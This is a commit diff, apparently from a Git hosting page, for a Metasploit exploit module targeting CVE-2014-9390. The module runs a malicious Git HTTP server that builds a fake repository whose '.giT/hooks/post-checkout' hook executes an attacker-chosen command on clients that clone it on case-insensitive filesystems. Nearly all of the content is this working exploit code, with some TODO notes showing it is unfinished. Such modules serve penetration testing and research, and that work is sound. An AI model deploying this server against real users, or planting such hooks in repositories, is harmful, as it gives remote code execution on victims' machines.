Mostly working exploit for CVE-2014-9390

bug/bundler_fix
Jon Hart 2014-12-19 15:24:27 -08:00
parent 4888ebe68d
commit 1c7fb7cc7d
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
2 changed files with 70 additions and 21 deletions

@ -1 +0,0 @@
Subproject commit abee02d646815b549acca4573145353ddf41a5b8

View File

@ -14,11 +14,15 @@ class Metasploit4 < Msf::Exploit::Remote
'Name' => 'Malicious Git HTTP Server For CVE-2014-9390',
'Description' => '',
'License' => MSF_LICENSE,
'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
'Author' => [
'Jon Hart <jon_hart[at]rapid7.com>' # metasploit module
],
'References' =>
[
['CVE', '2014-9390'],
['CVE', '2014-9390']
],
'DisclosureDate' => 'Dec 18 2014',
# TODO: correct all of this
'Payload' =>
{
'BadChars' => "\x00",
@ -40,33 +44,79 @@ class Metasploit4 < Msf::Exploit::Remote
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 18 2014'))
'DefaultTarget' => 0))
register_options(
[
OptString.new('CMD', [true, 'The command to run', 'id > /tmp/id']),
])
end
def setup
# This builds a fake git repository using the knowledge from:
# http://schacon.github.io/gitbook/7_how_git_stores_objects.html
# http://schacon.github.io/gitbook/7_browsing_git_objects.html
#
# It creates a .giT/hooks/post-checkout file that contains a command to
# execute. Because the full path of this file will be considered identical
# on case-insensitive filesystems and will be use in place of .git/hooks/post-checkout
# and will subsequently execute commands of our choosing upon cloning
@file_paths = {}
# build the post-update file blob
full_cmd = "#!/bin/sh\n#{datastore['CMD']}"
sha1, content = build_object('blob', full_cmd)
@file_paths["/objects/#{get_path(sha1)}"] = content
# build tree that points to the blob
#sha1, content = build_object('tree', '41100755 post-checkout', [sha1].pack('H*'))
sha1, content = build_object('tree', "100755 post-checkout\0#{[sha1].pack('H*')}")
@file_paths["/objects/#{get_path(sha1)}"] = content
# build a tree that points to the hooks directory in which post-update lives
sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
@file_paths["/objects/#{get_path(sha1)}"] = content
# build a tree that points to the .giT directory in which hooks lives
sha1, content = build_object('tree', "40000 .giT\0#{[sha1].pack('H*')}")
@file_paths["/objects/#{get_path(sha1)}"] = content
# build the supposed commit that dropped this file
user = rand_text_alphanumeric(3 + rand(10))
tstamp = Time.now.to_i
commit = "author #{user} <#{user}@example.com> #{tstamp} -0800\n" \
"committer #{user} <#{user}@example.com> #{tstamp} -0800\n" \
"\n" \
"test\n"
commit_content = "tree #{sha1}\n#{commit}"
sha1, content = build_object('commit', commit_content)
@file_paths["/objects/#{get_path(sha1)}"] = content
# build HEAD
@file_paths['/HEAD'] = "ref: refs/heads/master\n"
# lastly, build refs
@file_paths['/info/refs'] = "#{sha1}\trefs/heads/master\n"
require 'pp'
pp @file_paths
end
def build_object(type, content)
header = "#{type} #{content.size}\0"
store = header + content
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
end
def get_path(sha1)
sha1[0...2] + '/' + sha1[2..40]
end
def exploit
super
end
def on_request_uri(cli, req)
data_dir = File.join(Msf::Config.data_directory, "exploits", "CVE-2014-9390")
# determine if the requested file is something we know how to serve from our
# fake repository and send it if so
req_file = URI.parse(req.uri).path.gsub(/^#{datastore['URIPATH']}/, '')
files = []
files << File.join(data_dir, '.git', req_file)
files << File.join(data_dir, '.giT', req_file)
found = false
files.each do |file|
if File.file?(file)
puts "File is #{file}"
send_response(cli, IO.read(file))
found = true
break
end
end
unless found
if @file_paths.key?(req_file)
send_response(cli, @file_paths[req_file])
else
send_not_found(cli)
end
end